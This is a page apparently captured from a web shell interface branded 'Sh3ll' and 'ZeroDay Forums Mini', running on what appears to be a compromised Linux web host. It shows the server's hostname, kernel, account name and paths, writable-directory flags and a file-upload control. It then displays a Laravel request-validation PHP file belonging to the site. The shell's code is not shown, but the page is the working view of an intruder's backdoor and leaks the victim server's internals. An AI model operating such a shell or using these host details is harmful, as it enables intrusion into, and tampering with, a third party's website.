Sh3ll
OdayForums


Server : Apache
System : Linux 145.162.205.92.host.secureserver.net 5.14.0-611.45.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Apr 1 05:56:53 EDT 2026 x86_64
User : tradze ( 1001)
PHP Version : 8.1.34
Disable Function : NONE
Directory :  /home/tradze/www/app/Modules/Services/Http/Requests/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/tradze/www/app/Modules/Services/Http/Requests/SalonServiceTypeRequest.php
<?php
/**
 * Created by Concept24
 * User: concept24
 */
namespace App\Modules\Services\Http\Requests;

use Illuminate\Foundation\Http\FormRequest;
use Illuminate\Support\Facades\Auth;
use App\User;

class ServiceTypeRequest extends FormRequest
{
    /**
     * Get the validation rules that apply to the request.
     *
     * @return array
     */
    public function rules()
    {
        // dd(Auth::user()->hasRole('salon'));
        if(Auth::user()->hasRole('salon')){
            return [
            // 'name' => 'required|string',
            'parent_category_id' => 'required|not_in:0',
            // 'duration' => 'required|numeric|min:30',
            // 'price' => 'required|numeric|min:0',
            // 'image' => 'image'
        ];
        } else {
           return [
            'name' => 'required|string',
            'image' => 'image'
        ]; 
        }
        
    }

    /**
     * Determine if the user is authorized to make this request.
     *
     * @return bool
     */
    public function authorize()
    {
        return true;
    }
}

ZeroDay Forums Mini